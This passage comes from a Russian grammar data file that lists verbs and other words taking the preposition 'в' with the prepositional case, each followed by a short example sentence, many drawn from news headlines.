rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
